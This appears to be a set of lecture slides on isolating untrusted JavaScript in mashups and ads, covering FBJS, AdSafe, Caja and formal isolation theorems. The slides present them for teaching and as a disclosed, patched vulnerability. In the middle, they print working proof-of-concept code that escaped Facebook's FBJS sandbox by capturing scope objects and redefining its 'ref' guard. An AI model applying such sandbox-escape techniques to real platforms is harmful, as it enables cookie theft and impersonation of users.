Content Isolation – Sandboxing
Untrusted JavaScript

John Mitchell
How can honest users safely interact with well-intentioned sites, while still freely browsing the web (search, shopping, etc.)?
Specific focus for today

How can sites that incorporate untrusted content protect their users?
Mashups

- iGoogle
  - Evil Gadget
  - Radio Paradise
    - Now Playing:
      - Perry Farrell - Song Yet To Be Sung
      - Jethro Tull - Nothing Is Easy
      - Talvin Singh - Butterfly
      - Beth Orton - Central Reservation
    - ...more
  - Bejeweled
  - CustomRSS
    - 18 year old builds electric pickup truck
    - Study: Global Warming May Reduce Atlantic Hurricanes
    - Caroline Kennedy's Endorsement of Barack Obama
    - DREAMING: OMG We're Going To Die!
  - My Google Groups
    - google-dnswall (1)
  - Search YouTube
    - JCPenney Bedding Sale
      - 30-50% Off Cozy Bedding - Sheets, Quilts, Blankets & More Thru 1/23

Ads by Google
HowStuffWorks "How Web Advertising Works" - Windows Internet Explorer

DIGITAL PHOTOS GETTING OUT OF HAND?

DELL GET FREE TIPS

HowStuffWorks.com

Computer  Internet  Web Design & Development

How Web Advertising Works
by Marshall Brain

Inside This Article
1. Introduction to How Web Advertising Works
2. In the Beginning: Banner Ads
3. Banner Ad Prices
4. Sidebar Ads
5. Varied Shapes and Sizes
6. Pop-Up and Pop-Under

7. Floating Ads
8. Unicast Ads
9. Other Variations
10. How Bad Can It Get?
11. Lots More Information
12. See all Web Design & Development articles

In the Beginning: Banner Ads
When the Web first started being a "commercial endeavor" around 1997 or so, thousands of new sites were born and billions of dollars in venture capital flowed into them. The sites divided into two broad categories:

- E-commerce sites - E-commerce sites sell things. E-commerce sites make their money from the products they sell, just like a

0
Social Networking Sites

facebook Home Profile Friends Inbox \(^5\) 

**Requests**
- 14 friend requests
- 1 other request

**Applications**
- Photos
- Events
- Groups
- Marketplace
- Links
- Notes

**Status Updates**

- **Gone Spafford**: back in the land of cell phone reception, WiFi, and social networking.
  - about an hour ago - Comment - Like

- **Sue Muse**: thinking of going to Chicago for the weekend.
  - 3 hours ago - Comment - Like

- **Greg Morrisett**: thinking about actually writing some code...
  - 5 hours ago - Comment - Like

- **Donald Parker**: at 5:31pm February 18 via Facebook Mobile
  - Wow, you still have a Cobol compiler? Cool!

- **Matt Walsh**: at 3:37pm February 18
  - Don’t do it! It’s a trap...

- **James Lindsay**: at 7:27pm February 18
  - First pet? and now you! I think you are taking this computational thinking too literally!

- **Annie Antón**: not fond of Southwest. Was unable to check in early, so board position is C5 @ BWI. Sigh.
  - 8 hours ago - Comment - Like

- **Connie Harlen Smallwood**: at 6:55pm February 18
  - Oh no! At least the flight is short.

- **Alan Jeffrey**: gave into the collective, and is now
  - 13 hours ago - Comment - Like

- **Kathleen Fisher**: is enjoying the Sharks victory in a weird game.
  - 23 hours ago - Comment - Like

**People You May Know**
- Holly Levin
  - Add as Friend

- Robert Pronkash
  - Add as Friend

- Paul Marca
  - Add as Friend

**Pokes**
You were poked by:
- Annie Antón - poke back | remove

**Find Your Friends**
- Invite friends to join Facebook.
Browser isolation: Frames

- **Isolation**
  - Different frames can represent different principals
  - Same-origin policy: frame can only read or modify frames from same scheme/host/port

- **Delegation**
  - Frame can draw only on its own rectangle

- **Modularity**
  - Reuse the same content in multiple places

- **Failure containment**
  - Parent may work even if frame is slow to load or broken
Interframe communication: postMessage

```
frames[0].postMessage("Hello world.");

document.addEventListener("message", receiver);
function receiver(e) {
  if (e.domain == "example.com") {
    if (e.data == "Hello world") {
      e.source.postMessage("Hello", e.domain, e.uri);
    }
  }
}
```
Why Not Use Frames

◆ Inconvenient
  ■ Container does fit content
  ■ Quirky browser behavior
     (history, sound)

◆ Performance impact

◆ Security Concerns
  ■ Frame hijacking
  ■ Browser exploits

◆ Communication
  ■ Direct access more flexible
     than postMessage

Ninja cat strikes from above.
Embedded third-party content
Secure Web Mashups

- **Challenge**
  - How can trusted and untrusted code be executed in the same environment, without compromising functionality or security?

- **Recent research**
  - Programming language semantics
    - Mathematical model of program execution
    - Focus on standardized ECMA 262-3
  - Prove isolation theorems based on
    - Filtering, Rewriting, Wrapping (done)
    - Object-capability model (partially done)

- **Applications**
  - Facebook JavaScript (FBJS)
    - Allow user-supplied applications
  - Yahoo! ADSafe
    - Filter content before published
  - Google Caja
    - Object-capability languages
    - Isolation, defensive consistency, ...
Browser Extension Isolation

Firefox extensions written in JavaScript
- Extensions run with the user's full privileges and can read and write arbitrary files and launch new processes
Sandboxing Untrusted JavaScript
JavaScript language

Functions based on Lisp/Scheme
- first-class inline higher-order functions
  ```javascript
  function (x) { return x+1; }
  ```

Objects based on Smalltalk/Self
- ```javascript
  var pt = {x : 10, move : function(dx){this.x += dx}}
  ```

Lots of other stuff
- “In JavaScript, there is a beautiful, elegant, highly expressive language that is buried under a steaming pile of good intentions and blunders.”
  
  Douglas Crockford
JavaScript *this*

- **Property of the activation object for fctn call**
  - In most cases, *this* points to the object which has the function as a property (or method).
  - Example:
    ```javascript
    var o = {x: 10, f: function(){return this.x}}
    o.f();
    10
    
    *this* resolved dynamically when the method is executed
JavaScript examples

Use of *this* inside functions

```javascript
var b = 10;
var f = function() {
    var b = 5;
    function g() {
        var b = 8; return this.b;
    }
    g();
}
var result = f(); // has as value 10
```

Implicit conversions

```javascript
var y = "a";
var x = {toString : function() { return y; }}
x = x + 10;
js> "a10" // implicit call toString
```
Sometimes tricky

Which declaration of `g` is used?

```javascript
var f = function() {
    var a = g();
    function g() {
        return 1;
    };
    function g() {
        return 2;
    };
    var g = function() {
        return 3;
    }
    return a;
}
var result = f(); // has as value 2
```

String computation of property names

```javascript
var m = "toS"; var n = "tring";
Object.prototype[m + n] = function() {return undefined};
```

- for (p in o){....}, eval(...), o[s] allow strings to be used as code and vice versa
Unusual features of JavaScript

- Unusual built-in functions
  - eval, ...

- Regular expressions
  - Useful support of pattern matching

- Add, delete methods of an object dynamically
  - myobj.a = 5; myobj.b = 12; delete myobj.a;

- Redefine native functions and objects

- Iterate over methods of an object
  - for (variable in object) { statements }

- With statement ("considered harmful" – why??)
  - with (object) { statements }
Prototype-based inheritance

```javascript
function A() {
  ...
}
B.prototype = new A;
B.prototype.constructor = B;
function B() {
  ...
}
x = new B;
```
Naïve object sharing

Credit: Meyerovich, Felt, Miller
Naïve object sharing

Bob

document

cookie

parent

parent

child

foo

Maria

Bob shares foo with Maria

Credit: Meyerovich, Felt, Miller
Naïve object sharing

Bob also shares foo’s subtree

Credit: Meyerovich, Felt, Miller
Naïve object sharing

Credit: Meyerovich, Felt, Miller
JavaScript Challenges

- Prototype-based object inheritance:
  - `Object.prototype.a = "foo";

- Objects as mutable records of functions with implicit self parameter:
  - `o = {b: function() {return this.a}}`

- Scope can be a first-class object:
  - `this.o === o;`

- Can convert strings into code:
  - `eval("o + o.b()"`);

- Implicit type conversions, which can be redefined.
  - `Object.prototype.toString = o.b;`
Why all this flexibility?
JavaScript Isolation?

Goal
- Write a static analyzer to check untrusted JavaScript and determine if it is malicious

Solvable?
- Very difficult because of functions that can convert string to code and vice versa, e.g., eval
- More likely to have a solution
  - Find a well-defined and meaningful subset of JavaScript for which this is solvable
    - Prohibit problematic functions like eval
FaceBook FBJ S
Facebook FBJS

- Subset of JavaScript for Facebook applications
  - Application code fetched from publisher's (untrusted) server, embedded as a subtree of the page.
  - Not placed in an iframe
- Application code is statically checked to see if it is valid FBJS
- FBJS code is re-written and certain run-time checks are added
FBJS restrictions

Security Goals
- Restrict access: Document Object Model (DOM), global object
- Prevent clashes with other applications

Method 1: Filtering
- Forbid `eval, with`
- Disallow explicit access to properties (via the dot notation o.p) `valueOf, __parent__, constructor`.

Method 2: Rewriting
- Add application specific prefix to all top-level identifiers.
  - Example: `o.p` is renamed to `a1234_o.p`
- Separate effective namespace of an application from others

Method 3: Wrapping
- Native and library functions wrapped with additional checking
More about FBJS

Some details of rewriting:

- *this* is re-written to *ref(this)*
  - ref is a function defined by the host (Facebook) in the global object
  - ref(x) = x if x ≠ window else ref(x) = null
  - Prevents application code from accessing the global object.

- o[p] gets rewritten to o[IDX(p)].
  - Returns error if p is a black-listed property, such as "__x__"

Facebook also provides libraries

- accessible within the application namespace, allow applications to safely access certain parts of the global object
Problem with FBJS \( S_{08} \) (now fixed)

**Attack:**
- Get a handle to the global object in the application code

**Almost works**
- var getthis = function() {return this;};

**Except that**
- this gets re-written to ref(this) and the code returns null.

**But we can redefine ref itself**
- ref is defined in the global object and application code is disallowed from having handle to global object
- But can define a local ref in a local scope and defeat FBJS \( S_{08} \)

```javascript
try {throw (function() {return this;});} catch (f) {curr scp = f();}
```
The page at http://www.facebook.com says:

Hacked!
Exploit code (now fixed!)

```html
<a href="#" onclick="b()">Test B (Safari, Opera and Chrome)</a>
<script>
function b()
{
    try {
        throw (function() {return this});
    }
    catch (get_scope)
    {
        get_scope().ref=
        function(x) {return x};
        this.alert("Hacked!");
    }
</script>

<a href="#" onclick="a()">Test A (Firefox and Safari)</a>
<script>
var get_win = function get_scope(x)
{
    if (x===0) {return this}
    else {get_scope(0).ref=
        function(x) {return x};
        return get_win(0)};
}
function a() {get_win(1).alert("Hacked!");}
</script>
```
Attack 1

```javascript
try {throw (function(){return this});}
catch (get_scope){get_scope().ref=function(x){return x};

ECMA-262 semantics for try{...} catch(f){...} says that whenever an exception is thrown:
- New object o is created with property f pointing to the exception object
- o is placed on top of the scope chain. (o does not have the activation object status).

The "this" of a function not defined in an activation object is the object containing it. In code above, this for get_scope resolves to o.

Shadow the original ref by re-defining it in o.
Attack 2

```javascript
var get window = function f(x) {
    if (x===0) {return this} else {f(x-1)};
}
```

ECMA-262 says that whenever a named recursive function `f` is created then the internal scope chain (`f_{scp}`) of the function (environment pointer of the closure) is set to the current lexical scope with a dummy object (`o_f`) placed on top.
var get window = function f(x) {
    if (x===0) {return this} else {f(x-1)};
}

- When the function f is called, the current scope chain is replaced with f_{scp} and an activation object for f is placed on top of it.
- Every recursive call to f will resolve to property f of the dummy object o_f (which is not an activation object).
- Accessing this inside f will resolve to o_f.
- Shadow the original ref by redefining it in o_f.
Later Facebook vulnerability

- **FBJS** $e_1[\text{IDX}(e_2)]$ did not correctly convert objects to strings
- Exploit: we built an FBJS application able to reach the DOM.
- Disclosure: we notified Facebook; they promptly patched FBJS.
- Potential for damage is considerable.
  - Steal cookies or authentication credentials
  - Impersonate user: deface or alter profile, query personal information, spam friends, spread virally.
JavaScript Isolation
(a few minutes of theory)
Four “FBJS” Theorems

- **Theorem 1**: Subset $J(B)$ of ES-3 prevents access to chosen blacklist $B$ (assuming $B \cap P_{nat} = \emptyset$)

- **Theorem 2**: Subset $J(B)_G$ of $J(B)$ prevents any expression from naming the global scope object

- **Theorem 3**: Subset $J(B)_S$ of $J(B)_G$ of prevents any expression from naming any scope object

- **Theorem 4**: A specific “wrapping” technique preserves Theorem 3 and allows previously blacklisted functions to be safely used
JavaScript Operational Semantics

- Core of JavaScript is standardized as ECMA262-3
  - Browser implementations depart from (and extend) specification
  - No prior formal semantics
- Developed formal semantics as basis for proofs [APLAS08]
  - We focused on the standardized ECMA 262-3
    - DOM considered as library of host objects
  - We experimented with available browsers and shells
  - Defining an operational semantics for a real programming language is hard: sheer size and JavaScript peculiarities.
- We proved sanity-check properties
  - Programs evaluate deterministically to values
  - Garbage collection is feasible
- Subset of JS adequate for analyzing AdSafe, FBJS, Caja
Operational Semantics

- Three semantic functions $e \rightarrow$, $s \rightarrow$, $P \rightarrow$ for expressions, statements and programs.

- **Small step transitions**: A semantic function transforms one state to another if certain conditions (premise) are true.

- General form: $\frac{\langle Premise \rangle}{S \xrightarrow{t} S'}$

- **Atomic Transitions**: Rules which do have another transition in their premise

- **Context rules**: Rules to apply atomic transitions in presence of certain specific contexts.
Basis for JavaScript Isolation

1. All explicit property access has form $x$, e.x., or $e_1[e_2]$

2. The implicitly accessed property names are: $0, 1, 2, \ldots$, `toString`, `toNumber`, `valueOf`, `length`, `prototype`, `constructor`, `message`, `arguments`, `Object`, `Array`, `RegExp`

3. Dynamic code generation (converting strings to programs) occurs only through `eval`, `Function`, and indirectly `constructor`

4. A pointer to the global object can only be obtained by: `this`, native method `valueOf` of `Object.prototype`, and native methods `concat`, `sort` and `reverse` of `Array.prototype`

5. Pointers to local scope objects through `with`, `try/catch`, “named” recursive functions (var $f =$
Isolating global variables

- Facebook security goals can be achieved by blacklisting global variables
  - E.g. document, Object, FacebookLibrary, ...
- Must blacklist object property names too
  - Implicit property access (toString, prototype, ...).
  - Variables are properties of the scope objects: var x; this.x=42;
  - Property names can be created dynamically: obj[e].
  - Dynamic constructs like eval compromise enforcement.
- Solution should allow multiple FBJS applications
J(B): a subset to enforce blacklisting

- Let B be a list of identifiers (variables or property names) not to be accessed by untrusted code.
- Let $P_{\text{nat}}$ be the set of all JavaScript identifiers that can be accessed implicitly, according to the semantics.
  - Some implicit accesses involve reading (\texttt{Object}), others involve writing (\texttt{length}).
- Solution: we can enforce B (assumed disjoint from $P_{\text{nat}}$) by filtering and rewriting untrusted code.
  - Disallow all terms containing an identifier from B.
  - Include \texttt{eval}, \texttt{Function} and \texttt{constructor} in B by default.
  - Rewrite $e_1[e_2]$ to $e_1[\text{IDX}(e_2)]$. 
The run time monitor IDX

- We need some auxiliary variables: we prefix them with $ and include them in B.
  ```javascript
  var $String=String;
  var $B={p1:true,...,pn:true,eval:true,...,$:true,...}
  ```
- **Rewrite** $e_1[e_2]$ to $e_1[IDX(e_2)]$, where
  ```javascript
  IDX(e) = ($=e,{toString:function(){
          return($=$String($),
                   $B[$]?"bad":$)
      }})
  ```
  - Blacklisting can be turned into whitelisting by inverting the check above ($B[\$]?\$:"bad")
- Our rewriting faithfully emulates the semantics
  $$e_1[e_2] \rightarrow val[e_2] \rightarrow val[val_2] \rightarrow l[val_2] \rightarrow l[m]$$
Theorem: $J(B)$ is a subset of ECMA 3 that prevents access to the identifiers in $B$ (for $B$ disjoint from $P_{nat}$).

- Works also for current browser implementations (by extending $B$ with `_proto_`, etc. as needed).

If the code does not access a blacklisted property, our enforcement is faithful to the intended semantics.

Two main limitations
- Variables are blacklisted together with property names
  - If $x$ is a blacklisted variable, we must blacklist also $obj.x$
  - Heavy to separate namespaces of multiple applications
- Default blacklisting of `eval`, `Function`.
  - Reasonable for certain classes of applications
  - Restrictive for general JavaScript applications

Proof: hard part is inductive invariant for heap
Preventing scope manipulation

- Smaller blacklist by separating variables from properties: prevent access to scope objects
  
  ```javascript
  this.x=1; var o={y:41}; with (o){x+y}
  ```

- Two cases: the global scope, and local scopes

- The global scope
  - Evaluate `window` or `this` in the global environment
  - Evaluate `(function(){return this})()`
  - Call native functions with same semantics as above

- Local scope objects
  - The `with` construct
  - `try-catch`
  - Named recursive functions

- Our solutions can rely on blacklisting enforcement functions
$J(B)_G$: a subset isolating the global scope

- **Enforcement mechanism.**
  - Start from $J(B)$. Blacklist `window` and native functions returning `this` (sort, concat, reverse, `valueOf`).
  - Rewrite `this` to `(this==Global?null,this)`.
  - Initialize an auxiliary (blacklisted) variable `var $Global=window;`

- **Theorem:** $J(B)_G$ prevents access to the identifiers in $B$, and no term can be evaluated to the global scope.
  - Also works for browser implementations, adapting $B$.

- **Benefits of isolating the global scope.**
  - Can statically filter out the global variables that need to be protected, excluding them from the runtime blacklist in IDX.
  - Multiple applications can coexist (only global variables need to be disjoint), *provided implicit access is not a problem.*
J(B)ₛ: a subset isolating all scope objects

- **Enforcement mechanism.**
  - Start from J(B). Blacklist with, window and native functions returning this. Rewrite this to
    \[
    (\text{this.$Scope}=false,
    \text{if} \text{this.$Scope}\text{?}(\text{delete this.$Scope, this}):\n    \text{(delete this.$Scope, $Scope=true, null)})
    \]
  - Initialize an auxiliary (blacklisted) variable \textit{var} \textit{$Scope=true;}

- **Theorem:** J(B)ₛ prevents access to the identifiers in B, and no term can be evaluated to a scope object.
  - Works for Firefox and Internet Explorer.

- **Benefits of isolating scope objects.**
  - The semantics of applications is preserved by renaming of variables (if certain global variables are not renamed)
Improving our solutions by wrapping

- No need to blacklist sort, concat, reverse, valueOf.
  - We can wrap them as follows
    ```javascript
    $OOpvalueOf=Object.prototype.valueOf;
    Object.prototype.valueOf=
        function(){var $=$OOpvalueOf.call(this);
            return ($==$Global?null:$)}
    
    Also this variant is provably correct.

- Wrapping eval and Function: possible in principle

- Concluding, constructor is the only serious restriction we need to impose on user JavaScript
Four “FBJS” Theorems

- **Theorem 1**: Subset $J(B)$ of ES-3 prevents access to chosen blacklist $B$ (assuming $B \cap P_{nat} = \emptyset$).

- **Theorem 2**: Subset $J(B)_G$ of $J(B)$ prevents any expression from naming the global scope object.

- **Theorem 3**: Subset $J(B)_S$ of $J(B)_G$ prevents any expression from naming any scope object.

- **Theorem 4**: A specific “wrapping” technique preserves Theorem 3 and allows previously blacklisted functions to be safely used.
Remember this from CSRF lecture?

## Referer Suppression Experiment

- Measure how often Referer suppressed
  - Placed a JavaScript advertisement for $200
  - 283,945 impressions
How does this work?

Advertiser → Ad Network → Publisher → Browser

Ad Server → Ad Network → Publisher → Browser

Can retrieve “image” that is part of ad
Problems with advertisements

- Ad network, publisher have incentives to show ads
  - Could place ads in iframe
  - Rules out more profitable floating ads, etc.

- Ad network and publisher can try to screen ads
  - Yahoo! AdSafe
  - Google Caja

- Some limitations in current web
  - Ads may contain links to “images” that are part of ad

- Important to remember
  - This is a very effective way to reach victims: $30-50 per 1000
  - User does not have to click on anything to run malicious code
Security Goal

- Restrict access: Document Object Model (DOM),
global object

Method 1: Filtering

- Forbid eval, with, ...

Method 2: Require special program idioms

- Access property p of object o by calling
  ADSAFE.get(o, p)
AdSafe restriction

"All interaction with the trusted code must happen only using the methods in the ADSafe object."

This may not be possible!

// Somewhere in trusted code
Object.prototype.toString = function() { ... }
...

// Untrusted code
var o = {};
o = o + ""; // converts o to String

Bottom line: need to restrict definitions that occur in trusted code
Possible approach

- Analyze the library of the host page
  - Compute a blacklist $P_{noRW}$ of security-critical properties that could lead to security breach (How?)

- Use subset $J_s$ + Filter for $P_{noRW}$
Isolation *Between*

Untrusted Applications
FBJS limitations

Authority leak
- Can write/read properties of native objects
  - var Obj = {};  
  - var ObjProtToString = Obj.toString;

Communication between untrusted apps
- First application
  - Obj.toString.channel = "message";
- Second application
  - var receive_message = Obj.toString.channel;
Redefine bind method used to Curry functions

Interferes with code that uses f.bind.apply(e)
How to isolate applications?

- **Capability-based protection**
  - Traditional idea in operating systems
  - Capability is “ticket” granting access
  - Process can only access through capabilities given

- **If we had a capability-safe subset of JavaScript:**
  - Give independent apps disjoint capabilities

- **Problem:** Is there a capability-safe JavaScript?
Foundations for object-capabilities

- Object-capability model [Miller, …]
  - Intriguing, not formally rigorous
  - Examples: E (Java), JoeE (Java), Emily (Ocaml), W7 (Scheme)

- Authority safety
  - Safety conditions sufficient to prevent
    - Authority leak (“only connectivity begets connectivity”)
    - Privilege escalation (“no authority amplification”)
  - Preserved by program execution
    - Eliminates basis for our previous attacks

- Capability safety
  - Access control model sufficient to imply authority safety

Theorems: Cap safety ⇒ Auth safety ⇒ Isolation
  - Accepted examples satisfy our formal definitions
Challenge

Defensive consistency:
- If a trusted function is called by untrusted code, then selected invariants can be preserved so that subsequent calls by trusted code can still be trustworthy.

Approach:
- Untrusted code does not have sufficient capabilities to modify state associated with the selected invariants.